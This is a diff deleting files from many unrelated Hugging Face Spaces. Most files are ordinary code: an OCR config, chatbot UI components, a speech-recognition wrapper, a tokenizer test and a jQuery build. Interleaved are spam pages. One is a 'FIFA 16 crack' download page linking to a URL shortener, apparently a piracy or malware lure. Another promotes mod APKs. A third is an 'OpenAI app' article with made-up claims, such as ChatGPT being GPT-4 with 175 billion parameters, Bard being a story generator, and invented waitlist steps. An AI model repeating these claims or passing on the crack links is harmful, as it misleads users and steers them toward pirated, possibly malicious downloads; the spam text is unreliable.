diff --git a/spaces/dinhminh20521597/OCR_DEMO/configs/textrecog/crnn/crnn_academic_dataset.py b/spaces/dinhminh20521597/OCR_DEMO/configs/textrecog/crnn/crnn_academic_dataset.py
deleted file mode 100644
index b8288cb5a1cb48ddc6b32e988b45305e01e76df5..0000000000000000000000000000000000000000
--- a/spaces/dinhminh20521597/OCR_DEMO/configs/textrecog/crnn/crnn_academic_dataset.py
+++ /dev/null
@@ -1,35 +0,0 @@
-_base_ = [
-    '../../_base_/default_runtime.py', '../../_base_/recog_models/crnn.py',
-    '../../_base_/recog_pipelines/crnn_pipeline.py',
-    '../../_base_/recog_datasets/MJ_train.py',
-    '../../_base_/recog_datasets/academic_test.py',
-    '../../_base_/schedules/schedule_adadelta_5e.py'
-]
-
-train_list = {{_base_.train_list}}
-test_list = {{_base_.test_list}}
-
-train_pipeline = {{_base_.train_pipeline}}
-test_pipeline = {{_base_.test_pipeline}}
-
-data = dict(
-    samples_per_gpu=64,
-    workers_per_gpu=4,
-    val_dataloader=dict(samples_per_gpu=1),
-    test_dataloader=dict(samples_per_gpu=1),
-    train=dict(
-        type='UniformConcatDataset',
-        datasets=train_list,
-        pipeline=train_pipeline),
-    val=dict(
-        type='UniformConcatDataset',
-        datasets=test_list,
-        pipeline=test_pipeline),
-    test=dict(
-        type='UniformConcatDataset',
-        datasets=test_list,
-        pipeline=test_pipeline))
-
-evaluation = dict(interval=1, metric='acc')
-
-cudnn_benchmark = True
diff --git a/spaces/doctorsafe/mychat/functional_crazy.py b/spaces/doctorsafe/mychat/functional_crazy.py
deleted file mode 100644
index d5375733317a8344d7340e7c4098c60bffb538d6..0000000000000000000000000000000000000000
--- a/spaces/doctorsafe/mychat/functional_crazy.py
+++ /dev/null
@@ -1,68 +0,0 @@
-
-def get_crazy_functionals():
-    from crazy_functions.读文章写摘要 import 读文章写摘要
-    from crazy_functions.生成函数注释 import 批量生成函数注释
-    from crazy_functions.解析项目源代码 import 解析项目本身
-    from crazy_functions.解析项目源代码 import 解析一个Python项目
-    from crazy_functions.解析项目源代码 import 解析一个C项目的头文件
-    from crazy_functions.解析项目源代码 import 解析一个C项目
-    from crazy_functions.高级功能函数模板 import 高阶功能模板函数
-
-    return {
-        "[实验] 请解析并解构此项目本身": {
-            "Function": 解析项目本身
-        },
-        "[实验] 解析整个py项目（配合input输入框）": {
-            "Color": "stop",    # 按钮颜色
-            "Function": 解析一个Python项目
-        },
-        "[实验] 解析整个C++项目头文件（配合input输入框）": {
-            "Color": "stop",    # 按钮颜色
-            "Function": 解析一个C项目的头文件
-        },
-        "[实验] 解析整个C++项目（配合input输入框）": {
-            "Color": "stop",    # 按钮颜色
-            "Function": 解析一个C项目
-        },
-        "[实验] 读tex论文写摘要（配合input输入框）": {
-            "Color": "stop",    # 按钮颜色
-            "Function": 读文章写摘要
-        },
-        "[实验] 批量生成函数注释（配合input输入框）": {
-            "Color": "stop",    # 按钮颜色
-            "Function": 批量生成函数注释
-        },
-        "[实验] 实验功能函数模板": {
-            "Color": "stop",    # 按钮颜色
-            "Function": 高阶功能模板函数
-        },
-    }
-
-def on_file_uploaded(files, chatbot, txt):
-    if len(files) == 0: return chatbot, txt
-    import shutil, os, time, glob
-    from toolbox import extract_archive
-    try: shutil.rmtree('./private_upload/')
-    except: pass
-    time_tag = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime())
-    os.makedirs(f'private_upload/{time_tag}', exist_ok=True)
-    for file in files:
-        file_origin_name = os.path.basename(file.orig_name)
-        shutil.copy(file.name, f'private_upload/{time_tag}/{file_origin_name}')
-        extract_archive(f'private_upload/{time_tag}/{file_origin_name}', 
-                        dest_dir=f'private_upload/{time_tag}/{file_origin_name}.extract')
-    moved_files = [fp for fp in glob.glob('private_upload/**/*', recursive=True)]
-    txt = f'private_upload/{time_tag}'
-    moved_files_str = '\t\n\n'.join(moved_files)
-    chatbot.append(['我上传了文件，请查收', 
-                    f'[Local Message] 收到以下文件: \n\n{moved_files_str}\n\n调用路径参数已自动修正到: \n\n{txt}\n\n现在您可以直接选择任意实现性功能'])
-    return chatbot, txt
-
-def on_report_generated(files, chatbot):
-    from toolbox import find_recent_files
-    report_files = find_recent_files('gpt_log')
-    if len(report_files) == 0: return report_files, chatbot
-    # files.extend(report_files)
-    chatbot.append(['汇总报告如何远程获取？', '汇总报告已经添加到右侧文件上传区，请查收。'])
-    return report_files, chatbot
-
diff --git a/spaces/dolceschokolade/chatbot-mini/components/Chatbar/components/Conversation.tsx b/spaces/dolceschokolade/chatbot-mini/components/Chatbar/components/Conversation.tsx
deleted file mode 100644
index b9c57393c045baf710e7d1cd24aa57a3a09eb68a..0000000000000000000000000000000000000000
--- a/spaces/dolceschokolade/chatbot-mini/components/Chatbar/components/Conversation.tsx
+++ /dev/null
@@ -1,168 +0,0 @@
-import {
-  IconCheck,
-  IconMessage,
-  IconPencil,
-  IconTrash,
-  IconX,
-} from '@tabler/icons-react';
-import {
-  DragEvent,
-  KeyboardEvent,
-  MouseEventHandler,
-  useContext,
-  useEffect,
-  useState,
-} from 'react';
-
-import { Conversation } from '@/types/chat';
-
-import HomeContext from '@/pages/api/home/home.context';
-
-import SidebarActionButton from '@/components/Buttons/SidebarActionButton';
-import ChatbarContext from '@/components/Chatbar/Chatbar.context';
-
-interface Props {
-  conversation: Conversation;
-}
-
-export const ConversationComponent = ({ conversation }: Props) => {
-  const {
-    state: { selectedConversation, messageIsStreaming },
-    handleSelectConversation,
-    handleUpdateConversation,
-  } = useContext(HomeContext);
-
-  const { handleDeleteConversation } = useContext(ChatbarContext);
-
-  const [isDeleting, setIsDeleting] = useState(false);
-  const [isRenaming, setIsRenaming] = useState(false);
-  const [renameValue, setRenameValue] = useState('');
-
-  const handleEnterDown = (e: KeyboardEvent<HTMLDivElement>) => {
-    if (e.key === 'Enter') {
-      e.preventDefault();
-      selectedConversation && handleRename(selectedConversation);
-    }
-  };
-
-  const handleDragStart = (
-    e: DragEvent<HTMLButtonElement>,
-    conversation: Conversation,
-  ) => {
-    if (e.dataTransfer) {
-      e.dataTransfer.setData('conversation', JSON.stringify(conversation));
-    }
-  };
-
-  const handleRename = (conversation: Conversation) => {
-    if (renameValue.trim().length > 0) {
-      handleUpdateConversation(conversation, {
-        key: 'name',
-        value: renameValue,
-      });
-      setRenameValue('');
-      setIsRenaming(false);
-    }
-  };
-
-  const handleConfirm: MouseEventHandler<HTMLButtonElement> = (e) => {
-    e.stopPropagation();
-    if (isDeleting) {
-      handleDeleteConversation(conversation);
-    } else if (isRenaming) {
-      handleRename(conversation);
-    }
-    setIsDeleting(false);
-    setIsRenaming(false);
-  };
-
-  const handleCancel: MouseEventHandler<HTMLButtonElement> = (e) => {
-    e.stopPropagation();
-    setIsDeleting(false);
-    setIsRenaming(false);
-  };
-
-  const handleOpenRenameModal: MouseEventHandler<HTMLButtonElement> = (e) => {
-    e.stopPropagation();
-    setIsRenaming(true);
-    selectedConversation && setRenameValue(selectedConversation.name);
-  };
-  const handleOpenDeleteModal: MouseEventHandler<HTMLButtonElement> = (e) => {
-    e.stopPropagation();
-    setIsDeleting(true);
-  };
-
-  useEffect(() => {
-    if (isRenaming) {
-      setIsDeleting(false);
-    } else if (isDeleting) {
-      setIsRenaming(false);
-    }
-  }, [isRenaming, isDeleting]);
-
-  return (
-    <div className="relative flex items-center">
-      {isRenaming && selectedConversation?.id === conversation.id ? (
-        <div className="flex w-full items-center gap-3 rounded-lg bg-[#343541]/90 p-3">
-          <IconMessage size={18} />
-          <input
-            className="mr-12 flex-1 overflow-hidden overflow-ellipsis border-neutral-400 bg-transparent text-left text-[12.5px] leading-3 text-white outline-none focus:border-neutral-100"
-            type="text"
-            value={renameValue}
-            onChange={(e) => setRenameValue(e.target.value)}
-            onKeyDown={handleEnterDown}
-            autoFocus
-          />
-        </div>
-      ) : (
-        <button
-          className={`flex w-full cursor-pointer items-center gap-3 rounded-lg p-3 text-sm transition-colors duration-200 hover:bg-[#343541]/90 ${
-            messageIsStreaming ? 'disabled:cursor-not-allowed' : ''
-          } ${
-            selectedConversation?.id === conversation.id
-              ? 'bg-[#343541]/90'
-              : ''
-          }`}
-          onClick={() => handleSelectConversation(conversation)}
-          disabled={messageIsStreaming}
-          draggable="true"
-          onDragStart={(e) => handleDragStart(e, conversation)}
-        >
-          <IconMessage size={18} />
-          <div
-            className={`relative max-h-5 flex-1 overflow-hidden text-ellipsis whitespace-nowrap break-all text-left text-[12.5px] leading-3 ${
-              selectedConversation?.id === conversation.id ? 'pr-12' : 'pr-1'
-            }`}
-          >
-            {conversation.name}
-          </div>
-        </button>
-      )}
-
-      {(isDeleting || isRenaming) &&
-        selectedConversation?.id === conversation.id && (
-          <div className="absolute right-1 z-10 flex text-gray-300">
-            <SidebarActionButton handleClick={handleConfirm}>
-              <IconCheck size={18} />
-            </SidebarActionButton>
-            <SidebarActionButton handleClick={handleCancel}>
-              <IconX size={18} />
-            </SidebarActionButton>
-          </div>
-        )}
-
-      {selectedConversation?.id === conversation.id &&
-        !isDeleting &&
-        !isRenaming && (
-          <div className="absolute right-1 z-10 flex text-gray-300">
-            <SidebarActionButton handleClick={handleOpenRenameModal}>
-              <IconPencil size={18} />
-            </SidebarActionButton>
-            <SidebarActionButton handleClick={handleOpenDeleteModal}>
-              <IconTrash size={18} />
-            </SidebarActionButton>
-          </div>
-        )}
-    </div>
-  );
-};
diff --git a/spaces/ds520/bingo/src/lib/bots/bing/sr.ts b/spaces/ds520/bingo/src/lib/bots/bing/sr.ts
deleted file mode 100644
index 7cae14da7362bd6cc1e234851c11ca67e5a99f0c..0000000000000000000000000000000000000000
--- a/spaces/ds520/bingo/src/lib/bots/bing/sr.ts
+++ /dev/null
@@ -1,106 +0,0 @@
-// @ts-ignore
-const SpeechRecognitionPolyfill: typeof webkitSpeechRecognition = typeof window !== 'undefined' ? (
-  // @ts-ignore
-  window.SpeechRecognition ||
-  window.webkitSpeechRecognition ||
-  // @ts-ignore
-  window.mozSpeechRecognition ||
-  // @ts-ignore
-  window.msSpeechRecognition ||
-  // @ts-ignore
-  window.oSpeechRecognition
-) as typeof webkitSpeechRecognition : undefined
-
-type subscriber = (msg: string, command?: string) => void
-
-export class SR {
-  recognition?: SpeechRecognition
-  onchange?: subscriber
-  transcript: boolean = false
-  listening: boolean = false
-  private commandsRe?: RegExp
-  constructor(commands: string[]) {
-    this.recognition = SpeechRecognitionPolyfill ? new SpeechRecognitionPolyfill() : undefined
-    if (!this.recognition) {
-      return
-    }
-    this.configuration('zh-CN')
-    if (commands.length) {
-      this.commandsRe = new RegExp(`^(${commands.join('|')})。?$`)
-    }
-    this.recognition.onresult = this.speechRecognition
-    this.recognition.onerror = (err) => {
-      console.log('err', err.error)
-      this.stop()
-    }
-    this.recognition.onend = () => {
-      if (this.recognition && this.listening) {
-        this.recognition.start()
-      }
-    }
-  }
-
-  speechRecognition = (event: SpeechRecognitionEvent) => {
-    if (!this.listening) return
-    for (var i = event.resultIndex; i < event.results.length; i++) {
-      let result = event.results[i]
-      if (result.isFinal) {
-        var alt = result[0]
-        const text = alt.transcript.trim()
-        if (this.commandsRe && this.commandsRe.test(text)) {
-          return this.onchange?.('', RegExp.$1)
-        }
-        if (!this.transcript) return
-        this.onchange?.(text)
-      }
-    }
-  }
-
-  private configuration = async (lang: string = 'zh-CN') => {
-    return new Promise((resolve) => {
-      if (this.recognition) {
-        this.recognition.continuous = true
-        this.recognition.lang = lang
-        this.recognition.onstart = resolve
-      }
-    })
-  }
-
-  start = async () => {
-    if (this.recognition && !this.listening) {
-      await this.recognition.start()
-      this.transcript = true
-      this.listening = true
-    }
-  }
-
-  stop = () => {
-    if (this.recognition) {
-      this.recognition.stop()
-      this.transcript = false
-      this.listening = false
-    }
-  }
-
-
-  pause = () => {
-    if (this.recognition) {
-      this.transcript = false
-    }
-  }
-
-  resume = () => {
-    if (this.recognition) {
-      this.transcript = true
-    }
-  }
-
-  abort = () => {
-    if (this.recognition && this.transcript) {
-      this.recognition.abort()
-      this.transcript = false
-      this.listening = false
-    }
-  }
-}
-
diff --git a/spaces/dylanebert/igf/viewer/src/routes/viewer/[slug]/SplatViewer.ts b/spaces/dylanebert/igf/viewer/src/routes/viewer/[slug]/SplatViewer.ts
deleted file mode 100644
index e0721b8ca34334561c2fd65c3741b51d727336b2..0000000000000000000000000000000000000000
--- a/spaces/dylanebert/igf/viewer/src/routes/viewer/[slug]/SplatViewer.ts
+++ /dev/null
@@ -1,93 +0,0 @@
-import type { IViewer } from "./IViewer";
-import * as SPLAT from "gsplat";
-
-export class SplatViewer implements IViewer {
-    canvas: HTMLCanvasElement;
-
-    renderer: SPLAT.WebGLRenderer;
-    scene: SPLAT.Scene;
-    camera: SPLAT.Camera;
-    controls: SPLAT.OrbitControls;
-
-    disposed: boolean = false;
-
-    constructor(canvas: HTMLCanvasElement) {
-        this.canvas = canvas;
-
-        this.renderer = new SPLAT.WebGLRenderer(canvas);
-        this.scene = new SPLAT.Scene();
-        this.camera = new SPLAT.Camera();
-        this.controls = new SPLAT.OrbitControls(this.camera, canvas);
-
-        this.handleResize = this.handleResize.bind(this);
-    }
-
-    async loadScene(url: string, loadingBarCallback?: (progress: number) => void) {
-        await SPLAT.Loader.LoadAsync(url, this.scene, (progress) => {
-            loadingBarCallback?.(progress);
-        });
-
-        const frame = () => {
-            this.controls.update();
-            this.renderer.render(this.scene, this.camera);
-
-            if (!this.disposed) {
-                requestAnimationFrame(frame);
-            }
-        };
-
-        this.disposed = false;
-
-        this.handleResize();
-        window.addEventListener("resize", this.handleResize);
-
-        requestAnimationFrame(frame);
-    }
-
-    handleResize() {
-        this.renderer.setSize(this.canvas.clientWidth, this.canvas.clientHeight);
-    }
-
-    dispose() {
-        window.removeEventListener("resize", this.handleResize);
-
-        this.controls.dispose();
-        this.renderer.dispose();
-
-        this.disposed = true;
-    }
-
-    async capture(): Promise<string | null> {
-        return new Promise((resolve) => {
-            requestAnimationFrame(() => {
-                const offscreenCanvas = document.createElement("canvas");
-                offscreenCanvas.width = 512;
-                offscreenCanvas.height = 512;
-                const offscreenContext = offscreenCanvas.getContext("2d") as CanvasRenderingContext2D;
-
-                const x = (this.canvas.width - offscreenCanvas.width) / 2;
-                const y = (this.canvas.height - offscreenCanvas.height) / 2;
-
-                offscreenContext.drawImage(
-                    this.canvas,
-                    x,
-                    y,
-                    offscreenCanvas.width,
-                    offscreenCanvas.height,
-                    0,
-                    0,
-                    offscreenCanvas.width,
-                    offscreenCanvas.height
-                );
-                const dataUrl = offscreenCanvas.toDataURL("image/png");
-                offscreenCanvas.remove();
-
-                resolve(dataUrl);
-            });
-        });
-    }
-
-    getStats(): { name: string; value: any }[] {
-        return [];
-    }
-}
diff --git a/spaces/ecarbo/deoldify-demo/app.py b/spaces/ecarbo/deoldify-demo/app.py
deleted file mode 100644
index cd1a6cd2a57d33fe56dc4570728513779d354354..0000000000000000000000000000000000000000
--- a/spaces/ecarbo/deoldify-demo/app.py
+++ /dev/null
@@ -1,20 +0,0 @@
-import os
-os.system("hub install deoldify==1.0.1")
-import gradio as gr
-import paddlehub as hub
-from pathlib import Path
-
-
-model = hub.Module(name='deoldify')
-
-def inference(image):
-    model.predict(image.name)
-    return './output/DeOldify/'+Path(image.name).stem+".png"
-
-title = "DeOldify-Demo"
-description = "Gradio demo for DeOldify. To use it, simply upload your image, or click one of the examples to load them. Read more at the links below."
-article = "<p style='text-align: center'><a href='https://github.com/jantic/DeOldify' target='_blank'>Github Repo</a></p>"
-
-examples=[['mellizos.jpg'],['SanMartinUrquiza1944.jpg']]
-iface = gr.Interface(inference, inputs=gr.inputs.Image(type="file"), outputs=gr.outputs.Image(type="file"),examples=examples,enable_queue=True,title=title,article=article,description=description)
-iface.launch()
\ No newline at end of file
diff --git a/spaces/emilylearning/causing_gender_pronouns_two/README.md b/spaces/emilylearning/causing_gender_pronouns_two/README.md
deleted file mode 100644
index ae72fc957f130a8575c90a9a1ea986a79da0cc9d..0000000000000000000000000000000000000000
--- a/spaces/emilylearning/causing_gender_pronouns_two/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: Causing_gender_pronouns_two
-emoji: 🌖
-colorFrom: blue
-colorTo: blue
-sdk: gradio
-sdk_version: 3.0.1
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces#reference
diff --git a/spaces/epexVfeibi/Imagedeblurr/3dm Crack Fifa 16 68 !!TOP!!.md b/spaces/epexVfeibi/Imagedeblurr/3dm Crack Fifa 16 68 !!TOP!!.md
deleted file mode 100644
index 10b9fc9f7ca2448c7f156a31c293411afb77399c..0000000000000000000000000000000000000000
--- a/spaces/epexVfeibi/Imagedeblurr/3dm Crack Fifa 16 68 !!TOP!!.md	
+++ /dev/null
@@ -1,6 +0,0 @@
-<h2>3dm crack fifa 16 68</h2><br /><p><b><b>DOWNLOAD</b> &raquo; <a href="https://jinyurl.com/2uEqYX">https://jinyurl.com/2uEqYX</a></b></p><br /><br />
-<br />
- 4d29de3e1b<br />
-<br />
-<br />
-<p></p>
diff --git a/spaces/eson/tokenizer-arena/vocab/gpt_35_turbo/test2.py b/spaces/eson/tokenizer-arena/vocab/gpt_35_turbo/test2.py
deleted file mode 100644
index 8a40f55cd1caccd5acff0c6f60651b1578ec9584..0000000000000000000000000000000000000000
--- a/spaces/eson/tokenizer-arena/vocab/gpt_35_turbo/test2.py
+++ /dev/null
@@ -1,39 +0,0 @@
-"""
-https://github.com/openai/openai-cookbook/blob/main/examples/How_to_count_tokens_with_tiktoken.ipynb
-
-https://github.com/openai/tiktoken
-
-词典路径： https://github.com/openai/tiktoken/blob/main/tiktoken_ext/openai_public.py
-
-"""
-
-import json
-import tiktoken
-
-
-tokenizer = tiktoken.encoding_for_model('gpt-3.5-turbo')
-encoding = tokenizer.encode("a bcjik今天天气颗粒剂范大将军发卡卡萨")
-decoding_bytes = tokenizer.decode_tokens_bytes(encoding)
-print(encoding)
-print(decoding_bytes)
-
-# for token in tokens:
-#     token_str = encoding.decode([token])
-#     print(token, token_str, json.dumps(token_str))
-
-
-tokenizer.decode_tokens_bytes([10])
-tokenizer.decode_single_token_bytes(10)
-tokenizer.decode_bytes([10])
-
-f_out = open("vocab.jsonl", "w")
-# 100255
-for i in range(tokenizer.n_vocab):
-    # decode_bytes
-    # decode_single_token_bytes
-    try:
-        token_str = tokenizer.decode([i])
-    except:
-        token_str = None
-    f_out.write(json.dumps({"id": i, "token": json.dumps(token_str)}) + "\n")
-
diff --git a/spaces/f2api/gpt-academic/docs/waifu_plugin/jquery.min.js b/spaces/f2api/gpt-academic/docs/waifu_plugin/jquery.min.js
deleted file mode 100644
index ab28a24729b320bffd3d2f60302af949db39ab85..0000000000000000000000000000000000000000
--- a/spaces/f2api/gpt-academic/docs/waifu_plugin/jquery.min.js
+++ /dev/null
@@ -1,4 +0,0 @@
-/*! jQuery v1.11.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */
-!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return 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diff --git a/spaces/facebook/ov-seg/open_vocab_seg/modeling/clip_adapter/clip/__init__.py b/spaces/facebook/ov-seg/open_vocab_seg/modeling/clip_adapter/clip/__init__.py
deleted file mode 100644
index dcc5619538c0f7c782508bdbd9587259d805e0d9..0000000000000000000000000000000000000000
--- a/spaces/facebook/ov-seg/open_vocab_seg/modeling/clip_adapter/clip/__init__.py
+++ /dev/null
@@ -1 +0,0 @@
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diff --git a/spaces/falterWliame/Face_Mask_Detection/Dolby Advanced Audio V2 Driver Free Download !FULL! Windows 7 18l.md b/spaces/falterWliame/Face_Mask_Detection/Dolby Advanced Audio V2 Driver Free Download !FULL! Windows 7 18l.md
deleted file mode 100644
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--- a/spaces/falterWliame/Face_Mask_Detection/Dolby Advanced Audio V2 Driver Free Download !FULL! Windows 7 18l.md	
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diff --git a/spaces/fatiXbelha/sd/AFK Legend Heroes Idle RPG MOD APK - Unlimited Currency and Rewards.md b/spaces/fatiXbelha/sd/AFK Legend Heroes Idle RPG MOD APK - Unlimited Currency and Rewards.md
deleted file mode 100644
index cf1ca26fe8006e5845012f7beee5278cf7ee53cc..0000000000000000000000000000000000000000
--- a/spaces/fatiXbelha/sd/AFK Legend Heroes Idle RPG MOD APK - Unlimited Currency and Rewards.md	
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- AFK Legend, by design, comes with many systems in place to automate most of the gameplay. However, with BlueStacks, you can improve and streamline your experience even more by using its exclusive features such as the Keymapping Tool, the Macro Recorder, and the Multi-Instance Sync. The Keymapping Tool lets you create custom control schemes for any mobile game, letting you play using your mouse and keyboard instead of tapping and swiping at the screen. This makes it easier to navigate through the menus and access the different functions of the game. The Macro Recorder lets you record yourself completing a task or a level in the game, and then replay it later with just one keypress. This way, you can automate your progression in the campaign mode or other modes without having to manually click on anything. The Multi-Instance Sync lets you run multiple instances of BlueStacks at the same time, and synchronize their actions. This way, you can play AFK Legend with multiple accounts simultaneously, and increase your chances of getting rare heroes or items. <h2>Complete your daily missions and check the store for good deals</h2>
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- AFK Legend is a fun and addictive idle RPG game that offers a lot of features and content for you to enjoy. Whether you want to play casually or competitively, you can find something that suits your style and preference in this game. However, if you want to take your gaming experience to the next level, you might want to try playing AFK Legend on PC with BlueStacks. With BlueStacks, you can download and install any mod apk of AFK Legend from various sources on the internet, and enjoy its features and benefits on a larger screen, with better performance, and with exclusive tools that can help you automate and streamline your gameplay. So what are you waiting for? Download BlueStacks today and start playing AFK Legend on PC with BlueStacks! <h2>FAQs</h2>
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diff --git a/spaces/fatiXbelha/sd/ChatGPT A Free and Synced App by OpenAI for Chatting and Learning.md b/spaces/fatiXbelha/sd/ChatGPT A Free and Synced App by OpenAI for Chatting and Learning.md
deleted file mode 100644
index 619fb654cc87598d8577fecd4d02ed7a42eb1209..0000000000000000000000000000000000000000
--- a/spaces/fatiXbelha/sd/ChatGPT A Free and Synced App by OpenAI for Chatting and Learning.md	
+++ /dev/null
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-<h1>How to Download and Use the OpenAI App</h1>
-<p>If you are interested in artificial intelligence and natural language processing, you might have heard of OpenAI and ChatGPT. These are two of the most advanced and popular AI technologies in the world, and they are now available on your iPhone or iPad through the official OpenAI app. In this article, we will explain what OpenAI and ChatGPT are, why you should download the OpenAI app, how to download and use it, and what are some alternatives to it.</p>
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- <h2>What is OpenAI and ChatGPT?</h2>
-<h3>OpenAI: A leading AI research organization</h3>
-<p>OpenAI is a non-profit research organization that aims to create safe and beneficial artificial general intelligence (AGI) that can benefit all of humanity. Founded in 2015 by a group of prominent tech entrepreneurs and researchers, including Elon Musk, Peter Thiel, and Sam Altman, OpenAI has been at the forefront of AI innovation and development. Some of its notable achievements include creating DALL-E, an AI system that can generate realistic images from text descriptions, and Codex, an AI system that can write code from natural language commands.</p>
- <h3>ChatGPT: A powerful natural language processing model</h3>
-<p>ChatGPT is one of the most impressive products of OpenAI. It is a large-scale neural network model that can generate coherent and fluent text in response to any input. ChatGPT can perform a variety of natural language tasks, such as answering questions, writing essays, composing emails, creating stories, and more. ChatGPT is based on GPT-4, the latest version of OpenAI's Generative Pre-trained Transformer (GPT) model, which has 175 billion parameters and can learn from any text data on the internet.</p>
- <h2>Why Download the OpenAI App?</h2>
-<h3>The benefits of using the OpenAI app</h3>
-<p>The OpenAI app is a great way to experience the power and potential of artificial intelligence on your mobile device. By downloading the app, you can:</p>
-<ul>
-<li>Chat with ChatGPT, one of the most advanced AI chatbots in the world.</li>
-<li>Get instant answers, tailored advice, creative inspiration, and fun entertainment from ChatGPT.</li>
-<li>Sync your chat history across devices and access it anytime.</li>
-<li>Explore other OpenAI models and tools, such as DALL-E, Codex, Playground, and more.</li>
-<li>Learn more about AI research and development from OpenAI.</li>
-</ul>
- <h3>The features of the OpenAI app</h3>
-<p>The OpenAI app has several features that make it easy and enjoyable to use. Some of these features are:</p>
-<ul>
-<li>A simple and intuitive user interface that lets you chat with ChatGPT by typing or speaking.</li>
-<li>A customizable chat mode that lets you choose from different themes, languages, personalities, and tones for ChatGPT.</li>
-<li>A smart autocomplete function that suggests possible responses for you based on ChatGPT's predictions.</li>
-<li>A feedback system that lets you rate and review ChatGPT's performance and provide suggestions for improvement.</li>
-<li>A social sharing function that lets you share your chat conversations with your friends and family.</li>
-</ul>
- <h2>How to Download the OpenAI App for iOS</h2>
-<h3>Step 1: Join the waiting list</h3>
-<p>The OpenAI app is currently in beta testing and is not available to the public yet. However, you can join the waiting list to get early access to the app when it launches. To join the waiting list, you need to:</p>
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-<ol>
-<li>Visit the official website of OpenAI at <a href="">https://openai.com/</a>.</li>
-<li>Click on the "OpenAI App" button on the top right corner of the homepage.</li>
-<li>Enter your email address and click on the "Join Waitlist" button.</li>
-<li>Wait for an email invitation from OpenAI to download the app.</li>
-</ol>
- <h3>Step 2: Install the app from the App Store</h3>
-<p>Once you receive an email invitation from OpenAI, you can install the app from the App Store. To do so, you need to:</p>
-<ol>
-<li>Open the email from OpenAI and click on the link to download the app.</li>
-<li>You will be redirected to the App Store page of the OpenAI app.</li>
-<li>Tap on the "Get" button and follow the instructions to install the app on your device.</li>
-</ol>
- <h3>Step 3: Sign in with your OpenAI account</h3>
-<p>After installing the app, you need to sign in with your OpenAI account to use it. To do so, you need to:</p>
-<ol>
-<li>Open the OpenAI app on your device.</li>
-<li>Tap on the "Sign in" button on the welcome screen.</li>
-<li>Enter your email address and password that you used to join the waiting list.</li>
-<li>Tap on the "Sign in" button again and agree to the terms and conditions of OpenAI.</li>
-</ol>
- <h2>How to Use the OpenAI App</h2>
-<h3>How to chat with ChatGPT</h3>
-<p>To chat with ChatGPT, you need to:</p>
-<ol>
-<li>Tap on the "Chat" button on the bottom navigation bar of the app.</li>
-<li>You will see a chat screen with a text box and a microphone icon at the bottom.</li>
-<li>You can either type or speak your message to ChatGPT by tapping on the text box or the microphone icon respectively.</li>
-<li>You will see ChatGPT's response in a bubble above your message.</li>
-<li>You can also use the autocomplete function by tapping on the suggestions that appear below your message.</li>
-<li>You can customize your chat mode by tapping on the gear icon on the top right corner of the chat screen.</li>
-<li>You can rate and review ChatGPT's performance by tapping on the star icon on the top left corner of the chat screen.</li>
-<li>You can share your chat conversation by tapping on the share icon on the bottom right corner of the chat screen.</li>
-</ol>
- <h3>How to access other OpenAI models and tools</h3>
-<p>To access other OpenAI models and tools, you need to:</p>
-<ol>
-<li>Tap on the "Explore" button on the bottom navigation bar of the app.</li>
-<li>You will see a list of different OpenAI models and tools that you can try out, such as DALL-E, Codex, Playground, and more.</li>
-<li>Tap on the model or tool that you want to use and follow the instructions on the screen.</li>
-<li>You can also learn more about each model or tool by tapping on the "Learn more" button below its name.</li>
-</ol>
- <h2>Alternatives to the OpenAI App</h2>
-<h3>Bing Chat</h3>
-<p>If you are looking for another AI chatbot that can help you with web search queries, graphic art, and content creation, you might want to try Bing Chat. Bing Chat is a chat mode of Microsoft Bing search that can understand and communicate fluently in different languages, such as English, Chinese, Japanese, Spanish, French, German, and more. Bing Chat can also generate content such as poems, stories, code, essays, songs, celebrity parodies, images, and more. You can access Bing Chat by visiting <a href="">https://www.bing.com/chat</a> or by downloading the Bing app for iOS or Android.</p>
- <h3>Google Bard</h3>
-<p>If you are looking for another AI chatbot that can help you with creative writing and storytelling, you might want to try Google Bard. Google Bard is a natural language generation model that can write stories based on your prompts and preferences. You can choose from different genres, styles, tones, and lengths for your stories. You can also collaborate with Google Bard by adding your own sentences or suggestions. You can access Google Bard by visiting <a href="">https://bard.google.com/</a> or by downloading the Google app for iOS or Android.</p>
- <h3>Other AI chatbots and platforms</h3>
-<p>If you are looking for other AI chatbots and platforms that can offer different features and functions, you might want to check out some of these options:</p>
-<table>
-<tr><th>Name</th><th>Description</th><th>Website</th></tr>
-<tr><td>Replika</td><td>An AI companion that can chat with you about anything and help you improve your mental health.</td><td><a href="">https://replika.ai/</a></td></tr>
-<tr><td>Cleverbot</td><td>An AI chatbot that can have fun and witty conversations with you based on its previous chats with other users.</td><td><a href="">https://www.cleverbot.com/</a></td></tr>
-<tr><td>Rasa</td><td>An open source platform that lets you build your own custom AI chatbots for any purpose.</td><td><a href="">https://rasa.com/</a></td></tr>
-<tr><td>Wolfram Alpha</td><td>An AI knowledge engine that can answer any factual question and provide detailed explanations and calculations.</td><td><a href="">https://www.wolframalpha.com/</a></td></tr>
-<tr><td>Alice</td><td>An AI chatbot that can simulate natural human conversations and learn from your feedback.</td><td><a href="">https://alice.pandorabots.com/</a></td></tr>
-</table>
- <h2>Conclusion</h2>
